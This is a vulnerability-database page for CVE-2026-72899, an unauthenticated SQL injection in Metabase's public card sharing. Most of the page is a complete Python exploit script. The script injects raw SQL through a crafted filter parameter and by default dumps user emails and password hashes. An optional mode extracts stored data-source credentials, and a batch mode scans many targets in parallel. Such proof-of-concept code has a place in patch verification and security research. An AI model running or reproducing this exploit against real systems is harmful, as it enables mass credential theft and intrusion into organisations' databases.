📄 Metabase 0.63.4 SQL Injection
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-72899 | 10 Aug 202617:56 | – | attackerkb | |
| CVE-2026-72899 | 10 Aug 202618:04 | – | circl | |
| CVE-2026-72899 | 10 Aug 202617:56 | – | cve | |
| CVE-2026-72899 Metabase SQL injection via public card or dashboard | 10 Aug 202617:56 | – | cvelist | |
| EUVD-2026-55691 | 10 Aug 202617:56 | – | euvd | |
| Metabase 0.58.x < 0.58.24 / 0.59.x < 0.59.21 / 0.60.x < 0.60.17 / 0.61.x < 0.61.11 / 0.62.x < 0.62.9 / 0.63.x < 0.63.5 / 1.58.x < 1.58.24 / 1.59.x < 1.59.21 / 1.60.x < 1.60.17 / 1.61.x < 1.61.11 / 1.62.x < 1.62.9 / 1.63.x < 1.63.5 Multiple Vulnerabilities | 12 Aug 202600:00 | – | nessus | |
| CVE-2026-72899 | 10 Aug 202618:18 | – | nvd | |
| PT-2026-69890 | 10 Aug 202600:00 | – | ptsecurity | |
| CVE-2026-72899 Metabase SQL injection via public card or dashboard | 10 Aug 202617:56 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-72899 - Metabase unauthenticated SQL injection via public-sharing field filter
Affected: Metabase OSS/EE 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (EE uses the 1.x prefix)
Fixed: 0.58.24 / 0.59.21 / 0.60.17 / 0.61.11 / 0.62.9 / 0.63.5
Type: SQL injection (unauthenticated, network)
A public shared card whose native SQL carries a field-filter (dimension) template
tag accepts a caller-supplied `parameters` value that has no schema constraint. A
value shaped as a one-element list containing a JSON object survives into Metabase's
HoneySQL compiler, where a map is interpreted as query structure rather than a bound
value: the `{"raw": "<sql>"}` clause emits its string verbatim into the compiled SQL.
The value stops being a value and becomes SQL. The query runs with superuser rights
over the shared card's own database connection, so when that database is Metabase's
application database the attacker reads core_user password hashes and stored
data-source credentials. No authentication is needed - only the public link UUID,
which is part of the shared URL by design.
The injected snippet lands inside `WHERE (<col> = (<raw>))`, so a bare scalar
subquery `(SELECT version())` needs no paren balancing. This tool uses a derived-table
UNION that adapts its column count and text-column position to whatever the public
card returns, so it works against arbitrary vulnerable cards, not just the lab card.
Usage:
python exploit.py --host 127.0.0.1 --port 3300 --uuid <public-card-uuid>
python exploit.py --host http://target:3000 --uuid <uuid> --payload "SELECT email || ':' || password FROM core_user"
python exploit.py --host https://metabase.corp.com --uuid <uuid> --dump
python exploit.py --list targets.txt --workers 20 --uuid <uuid>
The default payload reads Metabase's own user table (email + bcrypt password hash),
which is data the shared card can never return and is therefore unambiguous proof.
"""
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-72899"
VULN_TYPE = "SQLi"
# Data the shared card's own SQL can never produce. Reading it proves injection.
DEFAULT_PAYLOAD = "SELECT email || ' | ' || password FROM core_user"
# A build-agnostic oracle: the DB version banner cannot appear in a normal card result.
VERSION_PROBE = "SELECT version()"
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# HTTP helpers (stdlib only, so the tool has zero third-party dependencies)
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls, path):
"""Build the scheme://host:port prefix, honouring a full-URL --host."""
if host.startswith(("http://", "https://")):
p = urllib.parse.urlparse(host)
scheme = p.scheme
netloc = p.netloc
base_path = p.path.rstrip("/")
return "%s://%s%s" % (scheme, netloc, base_path)
scheme = "https" if use_tls else "http"
return "%s://%s:%d%s" % (scheme, host, port, path.rstrip("/") if path not in ("", "/") else "")
def _get_json(url, timeout=40):
"""GET a URL, return (status_code, parsed_json_or_None, raw_text)."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, headers={"Accept": "application/json"})
try:
r = urllib.request.urlopen(req, timeout=timeout, context=ctx)
raw = r.read().decode("utf-8", "replace")
code = r.getcode()
except urllib.error.HTTPError as e:
raw = e.read().decode("utf-8", "replace")
code = e.code
try:
return code, json.loads(raw), raw
except ValueError:
return code, None, raw
def _query_url(base, uuid, params):
q = urllib.parse.urlencode({"parameters": json.dumps(params)})
return "%s/api/public/card/%s/query?%s" % (base, uuid, q)
def _fetch_card(base, uuid, timeout):
"""Read the public card metadata and return its dimension parameter, or None."""
code, data, _ = _get_json("%s/api/public/card/%s" % (base, uuid), timeout)
if code != 200 or not isinstance(data, dict):
return None
for p in data.get("parameters", []):
target = p.get("target")
if isinstance(target, list) and target and target[0] == "dimension":
tag = None
try:
tag = target[1][1]
except (IndexError, TypeError):
pass
return {"id": p.get("id"), "type": p.get("type") or "string/=", "tag": tag}
return None
def _run(base, uuid, param, value, timeout):
"""Run the public card query with a given parameter value. Returns parsed JSON."""
params = [{
"id": param["id"],
"type": param["type"],
"target": ["dimension", ["template-tag", param["tag"]]],
"value": value,
}]
code, data, raw = _get_json(_query_url(base, uuid, params), timeout)
return code, data, raw
def _rows(data):
if isinstance(data, dict):
return data.get("data", {}).get("rows", []) or []
return []
def _build_injection(sql_select, ncols, text_idx):
"""
Wrap an attacker SELECT into the field-filter operator snippet.
The compiler emits WHERE (<col> = (<raw>)). We close both parens, UNION a
derived table so an arbitrary multi-row SELECT works, and re-open a trailing
WHERE( so the compiler's own closing parens land on a truthy predicate. Column
count and the text-column slot are matched to the real card so UNION type
resolution succeeds against any vulnerable card, not just the lab one.
"""
cols = []
for i in range(ncols):
cols.append("t.v::text" if i == text_idx else "NULL")
select_list = ", ".join(cols)
return ("'zz')) UNION ALL SELECT %s FROM (%s) AS t(v) WHERE ((1=1"
% (select_list, sql_select))
def _card_shape(base, uuid, param, timeout):
"""
Learn the card's column count and which column is text-typed, from a benign
baseline request. Returns (ncols, text_idx, baseline_rowcount).
"""
code, data, _ = _run(base, uuid, param, ["__poc_baseline__"], timeout)
cols = []
if isinstance(data, dict):
cols = data.get("data", {}).get("cols", []) or []
ncols = len(cols) if cols else 3
text_idx = 0
for i, c in enumerate(cols):
t = (c.get("base_type") or c.get("effective_type") or "")
if "Text" in t or "Char" in t:
text_idx = i
break
else:
# No obviously-text column; column 0 is the safest ::text landing spot.
text_idx = 0
return ncols, text_idx, len(_rows(data))
# --------------------------------------------------------------------------- #
# Silent probe for --list scan mode
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, uuid=None, path="/", timeout=25, **_):
"""
Silent exploitability probe. Returns (success, evidence). Never prints/exits.
Uses the DB version banner as a build-agnostic oracle: a patched build nils the
map value and returns the plain card result (no version string); a vulnerable
build compiles it and returns the banner.
"""
if not uuid:
return False, "no --uuid supplied for scan"
base = _base_url(host, port, use_tls, path)
try:
param = _fetch_card(base, uuid, timeout)
if not param:
return False, "no public dimension parameter (not shareable/not vulnerable/bad uuid)"
ncols, text_idx, _ = _card_shape(base, uuid, param, timeout)
inj = _build_injection(VERSION_PROBE, ncols, text_idx)
_, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
for row in _rows(data):
for cell in row:
if isinstance(cell, str) and (
"PostgreSQL" in cell or "MySQL" in cell or "MariaDB" in cell
or "Microsoft SQL Server" in cell or "SQLite" in cell):
return True, "SQLi confirmed - DB banner leaked: %s" % cell.split(",")[0][:70]
return False, "value bound as parameter - patched or not a field-filter card"
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------- #
# Target parsing / scan
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, uuid=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, uuid=uuid, path=path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, uuid, payload, path="/", dump=False, timeout=40):
header(host, port)
base = _base_url(host, port, use_tls, path)
if not uuid:
done(False, "no --uuid supplied - pass the public card link UUID (the last path segment of /public/question/<uuid>)")
step(1, "Reading public card metadata for %s ..." % uuid)
param = _fetch_card(base, uuid, timeout)
if not param:
section("RECON", "No public dimension (field-filter) parameter found.")
done(False, "card is not publicly shared, has no field-filter parameter, or the UUID is wrong")
section("FIELD-FILTER PARAMETER",
"id=%s type=%s template-tag=%s" % (param["id"], param["type"], param["tag"]))
step(2, "Establishing a benign baseline (learning column layout) ...")
ncols, text_idx, baseline_rows = _card_shape(base, uuid, param, timeout)
section("BASELINE",
"card returns %d column(s); text column at index %d; baseline string value -> %d row(s)"
% (ncols, text_idx, baseline_rows))
step(3, "Injecting DB version() probe (build-agnostic oracle) ...")
vinj = _build_injection(VERSION_PROBE, ncols, text_idx)
code, vdata, vraw = _run(base, uuid, param, [{"raw": vinj}], timeout)
banner = None
for row in _rows(vdata):
for cell in row:
if isinstance(cell, str) and any(k in cell for k in
("PostgreSQL", "MySQL", "MariaDB", "Microsoft SQL Server", "SQLite")):
banner = cell
break
if banner:
break
if not banner:
status = vdata.get("status") if isinstance(vdata, dict) else None
section("VERSION PROBE RESPONSE", vraw[:600])
done(False, "value was bound as a parameter (status=%s) - target is patched or the tag is not a field filter" % status)
section("DB VERSION (leaked via injection)", banner)
step(4, "Executing attacker SQL: %s" % payload)
inj = _build_injection(payload, ncols, text_idx)
code, data, raw = _run(base, uuid, param, [{"raw": inj}], timeout)
rows = _rows(data)
status = data.get("status") if isinstance(data, dict) else None
if status == "completed" and rows:
leaked = [str(c) for r in rows for c in r if c is not None]
section("INJECTED QUERY OUTPUT (%d row(s))" % len(rows),
"\n".join(leaked[:200]) if leaked else json.dumps(rows[:50]))
if dump:
_dump_app_db(base, uuid, param, ncols, text_idx, timeout)
done(True, "SQL injection confirmed - %d row(s) returned by attacker SQL; DB banner: %s"
% (len(rows), banner.split(",")[0][:60]))
# Reached the DB but the supplied SQL is malformed - the bug still fired.
err = data.get("error") if isinstance(data, dict) else None
section("INJECTED QUERY RESPONSE", raw[:600])
if status == "failed" and err:
done(True, "SQL injection confirmed - version() leaked (%s); custom --payload SQL raised a DB error, adjust it. Banner: %s"
% ("reached DB", banner.split(",")[0][:60]))
done(False, "version() leaked but --payload returned no rows - refine the SQL")
def _dump_app_db(base, uuid, param, ncols, text_idx, timeout):
"""Convenience dump of the highest-value application-DB tables."""
dumps = [
("core_user (credentials)",
"SELECT email || ' | is_superuser=' || is_superuser || ' | ' || password FROM core_user"),
("metabase_database (stored data-source secrets)",
"SELECT name || ' | ' || engine || ' | ' || details::text FROM metabase_database"),
]
for label, sql in dumps:
inj = _build_injection(sql, ncols, text_idx)
_, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
vals = [str(c) for r in _rows(data) for c in r if c is not None]
if vals:
section("DUMP: %s" % label, "\n".join(vals[:200]))
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--uuid", help="Public card link UUID (required for --host and --list modes)")
parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
help="SQL SELECT to run on the target DB (default: dump core_user email+password hash)")
parser.add_argument("--dump", action="store_true",
help="After confirming, also dump core_user and metabase_database secrets")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, uuid=args.uuid)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.uuid, args.payload, path=path, dump=args.dump)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 410
CVSS 3.110
EPSS0.00566
SSVC